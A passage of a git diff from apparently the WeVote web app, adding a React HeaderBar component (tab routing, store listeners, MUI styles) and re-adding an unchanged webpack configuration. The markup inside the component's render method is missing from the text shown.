+ if (page !== normalizedHrefPage()) {
+ this.syncTabsToRoute();
+ }
+ }
+
+ componentDidCatch (error, info) {
+ // We should get this information to Splunk!
+ console.error('HeaderBar caught error: ', `${error} with info: `, info);
+ }
+
+ componentWillUnmount () {
+ this.appStateSubscription.unsubscribe();
+ this.friendStoreListener.remove();
+ this.voterStoreListener.remove();
+ this.analyticsStoreListener.remove();
+ window.removeEventListener('resize', this.handleResizeLocal);
+ if (this.setStyleTimeout) clearTimeout(this.setStyleTimeout);
+ }
+
+ handleTabChange = (newValue) => {
+ this.setState({ tabsValue: newValue }, () => {
+ // console.log('handleTabChange ', newValue);
+ this.customHighlightSelector(newValue);
+ });
+ };
+
+ handleResizeLocal () {
+ if (handleResize('HeaderBar')) {
+ this.setState({});
+ }
+ }
+
+ onFriendStoreChange () {
+ // console.log('HeaderBar, onFriendStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess'));
+ if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
+ // console.log('HeaderBar, onFriendStoreChange');
+ this.setState({
+ // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(),
+ });
+ }
+ }
+
+ onVoterStoreChange () {
+ // console.log('HeaderBar, onVoterStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess'));
+ // console.log('HeaderBar, onVoterStoreChange voter: ', VoterStore.getVoter());
+
+ if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
+ // console.log('HeaderBar, onVoterStoreChange ', VoterStore.getFirstName(), VoterStore.getFullName());
+ const voter = VoterStore.getVoter();
+ // const voterFirstName = VoterStore.getFirstName();
+ const voterIsSignedIn = voter.is_signed_in || false;
+ this.setState({
+ voter,
+ // voterFirstName,
+ voterIsSignedIn,
+ showSignInModal: AppObservableStore.showSignInModal(),
+ // showOrganizationModal: AppObservableStore.showOrganizationModal(),
+ // showPositionDrawer: AppObservableStore.showPositionDrawer(),
+ });
+ }
+ }
+
+ // eslint-disable-next-line no-unused-vars
+ onAppObservableStoreChange (msg) {
+ // console.log('------ HeaderBar, onAppObservableStoreChange received: ', msg);
+ this.setState({
+ chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(),
+ hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(),
+ // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason
+ // organizationModalBallotItemWeVoteId: AppObservableStore.getOrganizationModalBallotItemWeVoteId(),
+ scrolledDown: AppObservableStore.getScrolledDown(),
+ // whatAndHowMuchToShare: AppObservableStore.getWhatAndHowMuchToShare(),
+ showSignInModal: AppObservableStore.showSignInModal(),
+ });
+ }
+
+ onAnalyticsStoreChange () {
+ // A page reload for iOS in Cordova after facebook login forces the need for a voterRetrieve, after redrawing the page
+ // (and without requiring changes to the API server), the first response that indicates 'is signed in' is an Analytics call response
+ // console.log('onAnalyticsStoreChange VoterStore.getVoterIsSignedIn(): ', VoterStore.getVoterIsSignedIn(), ' AnalyticsStore.getIsSignedIn(): ', AnalyticsStore.getIsSignedIn(), 'FacebookStore.loggedIn: ', FacebookStore.loggedIn, 'VoterStore.voterDeviceId(): ', VoterStore.voterDeviceId());
+ if (isCordova() && VoterStore.getVoterIsSignedIn() === false && (AnalyticsStore.getIsSignedIn() || FacebookStore.loggedIn)) {
+ if (apiCalming('voterRetrieve', 500)) {
+ // console.log('Cordova: HeaderBar onAnalyticsStoreChange, firing voterRetrieve --------------'); // Do not comment out or delete
+ VoterActions.voterRetrieve();
+ }
+ }
+ }
+
+ syncTabsToRoute = () => {
+ const nextPage = normalizedHrefPage();
+ const nextValue = this.getTabsValueFromPage();
+ this.setState({ tabsValue: nextValue, page: nextPage }, () => {
+ this.customHighlightSelector(nextValue || false);
+ });
+ };
+
+ getTabsValueFromPage = () => {
+ const page = normalizedHrefPage();
+ switch (page) {
+ case 'ballot':
+ return 1;
+ case 'candidatelist':
+ case 'politicianpage':
+ return 2;
+ case 'donate':
+ case 'more/donate':
+ return 3;
+ case 'election-finder':
+ case 'friends':
+ case 'news':
+ case 'challenges':
+ case 'more':
+ case 'more/faq':
+ case 'managecandidates':
+ case 'no-candidates-claimed':
+ return 4;
+ default:
+ return 0;
+ }
+ };
+
+ // goToSearch = () => {
+ // historyPush('/opinions');
+ // }
+
+ openHowItWorksModal = () => {
+ // console.log('Opening modal');
+ AppObservableStore.setShowHowItWorksModal(true);
+ };
+
+ transitionToYourVoterGuide () {
+ // Positions for this organization, for this voter/election
+ OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, true);
+
+ // Positions for this organization, NOT including for this voter / election
+ // const googleCivicElectionId = 0;
+ // if (!OrganizationStore.positionListForOpinionMakerHasBeenRetrievedOnce(googleCivicElectionId, this.state.voter.linked_organization_we_vote_id)) {
+ OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, false, true);
+ // }
+ if (apiCalming('organizationsFollowedRetrieve', 60000)) {
+ OrganizationActions.organizationsFollowedRetrieve();
+ }
+ VoterGuideActions.voterGuideFollowersRetrieve(this.state.voter.linked_organization_we_vote_id);
+ VoterGuideActions.voterGuidesFollowedByOrganizationRetrieve(this.state.voter.linked_organization_we_vote_id);
+ }
+
+ debugLogging (text) {
+ const isDebugLogging = false;
+ if (isDebugLogging) {
+ console.log(`HeaderBar shouldComponentUpdate: ${text}`);
+ }
+ }
+
+ // Highlight the active tab, but don't highlight anything if not on one of the tabs, for example we are on 'friends'
+ customHighlightSelector (currentValue) {
+ const normal = {
+ opacity: 0.7,
+ fontWeight: 500,
+ color: 'rgba(51, 51, 51)',
+ };
+ // Should use theme.colors.brandBlue instead of directly using '#2e3c5d'
+ const highlight = {
+ opacity: 1,
+ fontWeight: 600,
+ color: '#2e3c5d',
+ };
+
+ if (window.$) {
+ // console.log('customHighlightSelector called for page: ', normalizedHrefPage());
+ const ballot = $('#ballotTabHeaderBar');
+ const candidates = $('#candidatesTabHeaderBar');
+ const challenges = $('#challengesTabHeaderBar');
+ const friends = $('#friendsTabHeaderBar');
+ const news = $('#discussTabHeaderBar');
+ const donate = $('#donateTabHeaderBar');
+ const squads = $('#squadsTabHeaderBar');
+ const more = $('#moreTabHeaderBar');
+ ballot.css(normal);
+ candidates.css(normal); // Candidates (not individual candidate page)
+ challenges.css(normal); // Democracy Challenges
+ friends.css(normal); // Friends
+ news.css(normal); // Discuss
+ donate.css(normal); // Donate
+ squads.css(normal); // Squads
+ more.css(normal); // More
+
+
+ switch (normalizedHrefPage()) {
+ case 'ballot':
+ ballot.css(highlight);
+ break;
+ case 'candidatelist': // displays same page as "cs"
+ candidates.css(highlight);
+ break;
+ case 'donate':
+ case 'more/donate':
+ donate.css(highlight);
+ break;
+ case 'challenges':
+ case 'election-finder':
+ case 'more/faq':
+ case 'friends':
+ case 'managecandidates':
+ case 'no-candidates-claimed':
+ case 'more':
+ case 'news':
+ case 'squads':
+ more.css(highlight);
+ break;
+ case 'politicianpage':
+ candidates.css(highlight);
+ break;
+ default:
+ break;
+ }
+ if (currentValue === 4) {
+ more.css(highlight);
+ }
+ } else {
+ setTimeout(() => {
+ console.log('customHighlightSelector purposefully called recursively');
+ this.customHighlightSelector(currentValue);
+ }, 500);
+ }
+
+ this.setState({ page: normalizedHrefPage() });
+ }
+
+ goToSettings () {
+ console.log('goToSettings IN HeaderBar setDrawerOpen');
+ AppObservableStore.setDrawerOpen('headerProfileDrawerOpen', true);
+ }
+
+ toggleSignInModal () {
+ const { showSignInModal } = this.state;
+ // console.log('HeaderBar toggleSignInModal showSignInModal:', showSignInModal);
+ AppObservableStore.setShowSignInModal(!showSignInModal);
+ this.setState({
+ showSignInModal: !showSignInModal,
+ });
+ }
+
+ render () {
+ renderLog('HeaderBar'); // Set LOG_RENDER_EVENTS to log all renders
+ if (!this.state.componentDidMountFinished) {
+ // console.log('HeaderBar suppressed for !componentDidMountFinished');
+ return null;
+ }
+
+ if (window.leanLoadForChromeExtension) {
+ // console.log('HeaderBar suppressed for Chrome Extension');
+ return null; // No header on the iFramed pages for the Chrome Extension
+ }
+
+ const { classes } = this.props;
+ const {
+ chosenSiteLogoUrl, hideWeVoteLogo, scrolledDown,
+ voter, voterIsSignedIn, tabsValue,
+ } = this.state;
+ const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working for some reason
+ // console.log('HeaderBar inPrivateLabelMode:', inPrivateLabelMode);
+ const voterPhotoUrlMedium = voterPhoto(voter);
+
+ const doNotShowWeVoteLogo = weVoteBrandingOff() || hideWeVoteLogo;
+ const showWeVoteLogo = !doNotShowWeVoteLogo;
+
+ const isFriends = normalizedHrefPage() === 'friends'; // The URL '/friends/request' yields 'friends'
+ let avatarStyle = {};
+ if (isCordova()) {
+ avatarStyle = { marginBottom: 2 };
+ }
+ if (isSmallTablet()) {
+ avatarStyle = { ...avatarStyle, paddingRight: 10 };
+ }
+ // console.log('HeaderBar hasNotch, scrolledDown, hasSubmenu', hasCordovaNotch(), scrolledDown, displayTopMenuShadow());
+ const displayMenu = !isMobileScreenSize() || isTablet();
+ // console.log('HeaderBar isMobileScreenSize(), isTablet()', isMobileScreenSize(), isTablet());
+ let donateValue;
+ let donateVisible;
+ let moreValue;
+ if (inPrivateLabelMode) {
+ donateValue = 3;
+ donateVisible = false;
+ moreValue = 3;
+ } else {
+ donateValue = 3;
+ donateVisible = true;
+ moreValue = 4;
+ }
+
+ // console.log('HeaderBar !isMobileScreenSize()', displayMenu);
+ // console.log('normalizedHrefPage():', normalizedHrefPage());
+ return (
+
+
+ {/*
+
+
+ );
+ }
+}
+HeaderBar.propTypes = {
+ classes: PropTypes.object,
+};
+
+const styles = (theme) => {
+ const tabBase = {
+ color: 'rgba(51, 51, 51, 0.7)',
+ fontSize: 18,
+ minWidth: 90,
+ opacity: 0.7,
+ paddingTop: 17,
+ '&.Mui-selected': {
+ color: '#2e3c5d',
+ fontWeight: 600,
+ opacity: 1,
+ },
+ };
+ const tabSelected = {
+ color: '#2e3c5d',
+ fontWeight: 600,
+ opacity: 1,
+ };
+
+ return {
+ tabRoot: { ...tabBase },
+ tabRootMore: { ...tabBase },
+ tabSelected: { ...tabSelected },
+
+ padding: {
+ padding: `0 ${theme.spacing(2)}px`,
+ },
+ moreLabel: {
+ alignItems: 'center',
+ display: 'flex',
+ gap: 4,
+ lineHeight: 1,
+ },
+ tabMoreIcon: {
+ color: 'inherit',
+ fontSize: 22,
+ },
+
+ addressButtonRoot: {
+ '&:hover': {
+ backgroundColor: 'transparent',
+ },
+ color: 'rgba(17, 17, 17, .5)',
+ outline: 'none !important',
+ paddingRight: 6,
+ [theme.breakpoints.up('sm')]: {
+ paddingLeft: 0,
+ },
+ [theme.breakpoints.down('sm')]: {
+ paddingTop: 6,
+ marginLeft: 2,
+ paddingLeft: 0,
+ },
+ },
+ addressIconButtonRoot: {
+ paddingTop: 1,
+ paddingRight: 6,
+ paddingBottom: 3,
+ paddingLeft: 0,
+ color: 'rgba(17, 17, 17, .4)',
+ outline: 'none !important',
+ '&:hover': {
+ backgroundColor: 'transparent',
+ },
+ [theme.breakpoints.up('sm')]: {
+ paddingRight: 2,
+ },
+ },
+ iconButtonRoot: {
+ paddingTop: 1,
+ paddingRight: 0,
+ paddingBottom: 3,
+ paddingLeft: 0,
+ color: 'rgba(17, 17, 17, .4)',
+ outline: 'none !important',
+ '&:hover': {
+ backgroundColor: 'transparent',
+ },
+ },
+ searchButtonRoot: {
+ '&:hover': {
+ backgroundColor: 'transparent',
+ },
+ color: 'rgba(17, 17, 17, .5)',
+ outline: 'none !important',
+ paddingTop: 0,
+ paddingRight: 0,
+ [theme.breakpoints.up('sm')]: {
+ paddingLeft: 0,
+ },
+ [theme.breakpoints.down('sm')]: {
+ marginLeft: 2,
+ paddingLeft: 0,
+ },
+ },
+ tooltipPlacementBottom: {
+ marginTop: 0,
+ },
+ tabRootBallot: {
+ minWidth: 90,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops
+ fontSize: 24,
+ },
+ },
+ tabRootBallotDesktop: {
+ fontSize: 18,
+ minWidth: 90,
+ paddingTop: 17,
+ },
+ tabRootBlog: {
+ color: 'rgba(51, 51, 51, 0.7)',
+ },
+ tabRootCandidates: {
+ minWidth: 90,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops
+ fontSize: 24,
+ },
+ },
+ tabRootCandidatesDesktop: {
+ fontSize: 18,
+ minWidth: 90,
+ paddingTop: 17,
+ },
+ tabRootDonate: {
+ minWidth: 70,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
+ fontSize: 24,
+ },
+ },
+ tabRootDonateDesktop: {
+ fontSize: 18,
+ minWidth: 70,
+ paddingTop: 17,
+ },
+ tabRootFriends: {
+ minWidth: 90,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
+ fontSize: 24,
+ },
+ },
+ tabRootFriendsDesktop: {
+ fontSize: 18,
+ minWidth: 90,
+ paddingTop: 17,
+ },
+ tabRootNews: {
+ minWidth: 70,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
+ fontSize: 24,
+ },
+ },
+ tabRootNewsDesktop: {
+ fontSize: 18,
+ minWidth: 70,
+ paddingTop: 17,
+ },
+ tabRootHowItWorks: {
+ minWidth: 70,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
+ fontSize: 24,
+ },
+ },
+ };
+};
+
+const HeaderBarWrapper = styled.div.attrs({
+ className: 'HeaderBarWrapper', // div.attrs and className all added to achieve drop-shadow on Donate page
+ shouldForwardProp: (prop) => !['scrolledDown', 'hasSubmenu'].includes(prop),
+})(({ scrolledDown, hasSubmenu }) => (`
+ box-shadow: ${(!scrolledDown || !hasSubmenu) ? '' : standardBoxShadow('wide')};
+ border-bottom: ${(!scrolledDown || !hasSubmenu) ? '' : '1px solid #aaa'};
+ padding-left: calc(100vw - 100%);
+`));
+
+const StyledHeaderMenuTabs = styled(Tabs)`
+ // {() => (isIOSAppOnMac() ? '' : displayNoneIfSmallerThanDesktop())};
+`;
+const StyledMoreMenu = styled(Menu)`
+ .MuiPaper-root {
+ border-radius: 8px;
+ box-shadow: ${standardBoxShadow('wide')};
+ margin-top: 8px;
+ min-width: 200px;
+ }
+`;
+
+const StyledMoreMenuItem = styled(MenuItem)`
+ color: rgba(51, 51, 51, 0.7);
+ font-size: 18px;
+ font-weight: 500;
+ line-height: 1.2;
+ opacity: 1;
+ padding: 12px 16px;
+ position: relative;
+
+ &:hover {
+ background: rgba(46, 60, 93, 0.06);
+ }
+
+ &.Mui-selected,
+ &.Mui-selected:hover {
+ background: transparent;
+ color: #2e3c5d;
+ font-weight: 600;
+ opacity: 1;
+ }
+`;
+
+export default withStyles(styles)(HeaderBar);
diff --git a/webpack.config.js b/webpack.config.js
index a0704b707..d4e9ceb61 100644
--- a/webpack.config.js
+++ b/webpack.config.js
@@ -1,196 +1,197 @@
-/* jshint esversion: 6 */
-const CopyPlugin = require('copy-webpack-plugin');
-const ESLintPlugin = require('eslint-webpack-plugin');
-const HtmlWebpackPlugin = require('html-webpack-plugin');
-const MomentLocalesPlugin = require('moment-locales-webpack-plugin');
-const SourceMapDevToolPlugin = require('webpack/lib/SourceMapDevToolPlugin');
-const TerserPlugin = require('terser-webpack-plugin');
-const UnusedWebpackPlugin = require('unused-webpack-plugin');
-const WebpackShellPluginNext = require('webpack-shell-plugin-next');
-const fs = require('fs');
-const path = require('path');
-const webpack = require('webpack');
-const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer');
-
-const port = process.env.PORT || 3000;
-const isHTTPS = process.env.PROTOCOL && process.env.PROTOCOL === 'HTTPS';
-const isWebApp = !process.env.npm_lifecycle_script.includes('CORDOVA=1');
-const useRealCerts = process.env.npm_lifecycle_script.includes('USE_REAL_CERTS=1');
-const isProduction = process.env.npm_lifecycle_script.includes('PRODUCTION=1');
-const source = isWebApp ? 'src' : 'srcCordova';
-const bundleAnalysis = process.env.ANALYSIS || false; // enable the interactive bundle analyser and the Unused component analyzer
-const minimized = process.env.MINIMIZED === '1' || false; // enable the Terser plugin that strips comments and shrinks long variable names
-const verBits = process.version.split('.');
-const major = parseInt(verBits[0].replace('v', ''));
-if (major < 13) {
- console.error(`The minimum Node version is: v14.0.0, but you are running ${process.version}\n`);
-} else {
- console.log(`Node version is: ${process.version}`);
-}
-if (useRealCerts) console.log('useRealCerts in webpack.config.js ', useRealCerts);
-// console.log('crt: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`).toString());
-// console.log('key: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`).toString());
-
-module.exports = (env, argv) => ({
- entry: path.resolve(__dirname, `./${source}/index.jsx`),
- module: {
- rules: [
- {
- test: /\.(js|jsx)$/,
- exclude: /node_modules|srcDeprecated/,
- use: ['babel-loader'],
- },
- {
- test: /\.(png|jp(e*)g|svg|eot|woff|ttf)$/,
- use: [
- {
- loader: 'file-loader',
- options: {
- publicPath: '/',
- exclude: /srcDeprecated/,
- name: '[path][name].[ext]',
- },
- },
- ],
- },
- ],
- },
- optimization: {
- minimize: minimized,
- minimizer: [
- ...(minimized ? [
- new TerserPlugin({
- parallel: true,
- terserOptions: {
- // https://github.com/webpack-contrib/terser-webpack-plugin#terseroptions
- format: {
- comments: false,
- },
- },
- }),
- ] : []),
- ],
- },
- resolve: {
- modules: [path.resolve(__dirname, source), 'node_modules'],
- extensions: ['.*', '.js', '.jsx'],
- alias: {
- '@mui/styled-engine': '@mui/styled-engine-sc',
- },
- },
- output: {
- path: path.resolve(__dirname, './build'),
- filename: isWebApp ? '[name].[contenthash].js' : 'bundle.js',
- publicPath: isWebApp ? '/' : undefined,
- },
- infrastructureLogging: {
- level: 'verbose',
- },
- // source-map is for OpenReplay
- devtool: 'source-map',
- plugins: [
- new ESLintPlugin({ failOnError: false, failOnWarning: false }),
- new HtmlWebpackPlugin({
- title: 'WeVote Sample Ballot',
- template: path.resolve(__dirname, `./${source}/index.html`),
- }),
- ...(bundleAnalysis ? [
- new UnusedWebpackPlugin({ // Set ANALYSIS to true to list (likely) unused files
- directories: [path.join(__dirname, source)],
- exclude: [
- '/**/cert/',
- '/**/global/svg-icons/',
- '/*.test.js',
- '/**/config*.*',
- 'extension.html',
- '/sass/',
- '/robots.txt',
- '/app-ads.txt',
- 'srcDeprecated',
- ],
- root: __dirname,
- }),
- new BundleAnalyzerPlugin(),
- ] : []),
- new CopyPlugin({
- patterns: [
- { from: `${source}/robots.txt`, to: '.' },
- { from: `${source}/app-ads.txt`, to: '.' },
- {
- from: `${source}/css/`,
- to: 'css/',
- globOptions: { ignore: ['**/mainPreBeautified.css', '**/mainSubtract.css']},
- },
- { from: `${source}/javascript`, to: 'javascript/' },
- { from: `${source}/extension.html`, to: '.' },
- {
- from: `${source}/img`,
- to: 'img/',
- globOptions: { ignore: ['**/DO-NOT-BUNDLE/**']},
- },
- ...(isProduction ? [
- { from: 'node/STORYBOOK-README.TXT', to: './storybook-static/STORYBOOK-README.TXT' },
- { from: 'storybook-static', to: './storybook-static' },
- ] : []),
- ],
- }),
- new MomentLocalesPlugin(),
- new WebpackShellPluginNext({
- onBuildEnd: {
- scripts: ['node ./src/js/common/node/webPackPostBuild.js'],
- blocking: false,
- parallel: true,
- },
- }),
- ...(argv.mode === 'production' ? [
- new webpack.DefinePlugin({
- // We need to get webpack into production mode, to make it include the much smaller minimized libraries
- // especially for React itself.
- // PRODUCTION: JSON.stringify(true),
- 'process.env.NODE_ENV': JSON.stringify('production'),
- 'REACT.FILE': JSON.stringify(path.basename(__filename)), // Injects the current file's basename
- }),
- ] : [
- new SourceMapDevToolPlugin({
- filename: isWebApp ? null : '[file].map', // if no value is provided the sourcemap is inlined
- exclude: [/node_modules/, /css/],
- }),
- ]),
- ],
- devServer: {
- allowedHosts: ['wevotedeveloper.com', 'localhost'],
- static: {
- directory: path.join(__dirname, './build/index.html'),
- },
- host: (useRealCerts ? 'wevotedeveloper.com' : 'localhost'),
- port,
- historyApiFallback: true,
- ...(isHTTPS ? {
- server: {
- type: 'https',
- options: {
- ...(useRealCerts ? {
- // For testing with Cordova and real authoritative certs
- key: fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`),
- cert: fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`),
- // requestCert: true,
- // passphrase: 'webpack-dev-server',
- } : {
- key: fs.readFileSync(`./${source}/cert/server.key`),
- cert: fs.readFileSync(`./${source}/cert/server.crt`),
- }),
- },
- },
- } : {}),
- client: {
- overlay: {
- runtimeErrors: (error) => {
- if (error.message.includes('ResizeObserver loop')) {
- return false;
- }
- return true;
- },
- },
- },
- },
-});
+/* jshint esversion: 6 */
+const CopyPlugin = require('copy-webpack-plugin');
+const ESLintPlugin = require('eslint-webpack-plugin');
+const HtmlWebpackPlugin = require('html-webpack-plugin');
+const MomentLocalesPlugin = require('moment-locales-webpack-plugin');
+const SourceMapDevToolPlugin = require('webpack/lib/SourceMapDevToolPlugin');
+const TerserPlugin = require('terser-webpack-plugin');
+const UnusedWebpackPlugin = require('unused-webpack-plugin');
+const WebpackShellPluginNext = require('webpack-shell-plugin-next');
+const fs = require('fs');
+const path = require('path');
+const webpack = require('webpack');
+const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer');
+
+const port = process.env.PORT || 3000;
+const isHTTPS = process.env.PROTOCOL && process.env.PROTOCOL === 'HTTPS';
+const isWebApp = !process.env.npm_lifecycle_script.includes('CORDOVA=1');
+const useRealCerts = process.env.npm_lifecycle_script.includes('USE_REAL_CERTS=1');
+const isProduction = process.env.npm_lifecycle_script.includes('PRODUCTION=1');
+const source = isWebApp ? 'src' : 'srcCordova';
+const bundleAnalysis = process.env.ANALYSIS || false; // enable the interactive bundle analyser and the Unused component analyzer
+const minimized = process.env.MINIMIZED === '1' || false; // enable the Terser plugin that strips comments and shrinks long variable names
+const verBits = process.version.split('.');
+const major = parseInt(verBits[0].replace('v', ''));
+if (major < 13) {
+ console.error(`The minimum Node version is: v14.0.0, but you are running ${process.version}\n`);
+} else {
+ console.log(`Node version is: ${process.version}`);
+}
+if (useRealCerts) console.log('useRealCerts in webpack.config.js ', useRealCerts);
+// console.log('crt: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`).toString());
+// console.log('key: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`).toString());
+
+module.exports = (env, argv) => ({
+ entry: path.resolve(__dirname, `./${source}/index.jsx`),
+ module: {
+ rules: [
+ {
+ test: /\.(js|jsx)$/,
+ exclude: /node_modules|srcDeprecated/,
+ use: ['babel-loader'],
+ },
+ {
+ test: /\.(png|jp(e*)g|svg|eot|woff|ttf)$/,
+ use: [
+ {
+ loader: 'file-loader',
+ options: {
+ publicPath: '/',
+ exclude: /srcDeprecated/,
+ name: '[path][name].[ext]',
+ },
+ },
+ ],
+ },
+ ],
+ },
+ optimization: {
+ minimize: minimized,
+ minimizer: [
+ ...(minimized ? [
+ new TerserPlugin({
+ parallel: true,
+ terserOptions: {
+ // https://github.com/webpack-contrib/terser-webpack-plugin#terseroptions
+ format: {
+ comments: false,
+ },
+ },
+ }),
+ ] : []),
+ ],
+ },
+ resolve: {
+ modules: [path.resolve(__dirname, source), 'node_modules'],
+ extensions: ['.*', '.js', '.jsx'],
+ alias: {
+ '@mui/styled-engine': '@mui/styled-engine-sc',
+ },
+ },
+ output: {
+ path: path.resolve(__dirname, './build'),
+ filename: isWebApp ? '[name].[contenthash].js' : 'bundle.js',
+ publicPath: isWebApp ? '/' : undefined,
+ },
+ infrastructureLogging: {
+ level: 'verbose',
+ },
+ // source-map is for OpenReplay
+ devtool: 'source-map',
+ plugins: [
+ new ESLintPlugin({ failOnError: false, failOnWarning: false }),
+ new HtmlWebpackPlugin({
+ title: 'WeVote Sample Ballot',
+ template: path.resolve(__dirname, `./${source}/index.html`),
+ }),
+ ...(bundleAnalysis ? [
+ new UnusedWebpackPlugin({ // Set ANALYSIS to true to list (likely) unused files
+ directories: [path.join(__dirname, source)],
+ exclude: [
+ '/**/cert/',
+ '/**/global/svg-icons/',
+ '/*.test.js',
+ '/**/config*.*',
+ 'extension.html',
+ '/sass/',
+ '/robots.txt',
+ '/app-ads.txt',
+ 'srcDeprecated',
+ ],
+ root: __dirname,
+ }),
+ new BundleAnalyzerPlugin(),
+ ] : []),
+ new CopyPlugin({
+ patterns: [
+ { from: `${source}/robots.txt`, to: '.' },
+ { from: `${source}/app-ads.txt`, to: '.' },
+ {
+ from: `${source}/css/`,
+ to: 'css/',
+ globOptions: { ignore: ['**/mainPreBeautified.css', '**/mainSubtract.css']},
+ },
+ { from: `${source}/javascript`, to: 'javascript/' },
+ { from: `${source}/extension.html`, to: '.' },
+ {
+ from: `${source}/img`,
+ to: 'img/',
+ globOptions: { ignore: ['**/DO-NOT-BUNDLE/**']},
+ },
+ ...(isProduction ? [
+ { from: 'node/STORYBOOK-README.TXT', to: './storybook-static/STORYBOOK-README.TXT' },
+ { from: 'storybook-static', to: './storybook-static' },
+ ] : []),
+ ],
+ }),
+ new MomentLocalesPlugin(),
+ new WebpackShellPluginNext({
+ onBuildEnd: {
+ scripts: ['node ./src/js/common/node/webPackPostBuild.js'],
+ blocking: false,
+ parallel: true,
+ },
+ }),
+ ...(argv.mode === 'production' ? [
+ new webpack.DefinePlugin({
+ // We need to get webpack into production mode, to make it include the much smaller minimized libraries
+ // especially for React itself.
+ // PRODUCTION: JSON.stringify(true),
+ 'process.env.NODE_ENV': JSON.stringify('production'),
+ 'REACT.FILE': JSON.stringify(path.basename(__filename)), // Injects the current file's basename
+ }),
+ ] : [
+ new SourceMapDevToolPlugin({
+ filename: isWebApp ? null : '[file].map', // if no value is provided the sourcemap is inlined
+ exclude: [/node_modules/, /css/],
+ }),
+ ]),
+ ],
+ devServer: {
+ allowedHosts: ['wevotedeveloper.com', 'localhost'],
+ static: {
+ directory: path.join(__dirname, './build/index.html'),
+ },
+ host: (useRealCerts ? 'wevotedeveloper.com' : 'localhost'),
+ port,
+ historyApiFallback: true,
+ ...(isHTTPS ? {
+ server: {
+ type: 'https',
+ options: {
+ ...(useRealCerts ? {
+ // For testing with Cordova and real authoritative certs
+ key: fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`),
+ cert: fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`),
+ // requestCert: true,
+ // passphrase: 'webpack-dev-server',
+ } : {
+ key: fs.readFileSync(`./${source}/cert/server.key`),
+ cert: fs.readFileSync(`./${source}/cert/server.crt`),
+ }),
+ },
+ },
+ } : {}),
+ client: {
+ overlay: {
+ runtimeErrors: (error) => {
+ if (error.message.includes('ResizeObserver loop')) {
+ return false;
+ }
+ return true;
+ },
+ },
+ },
+ },
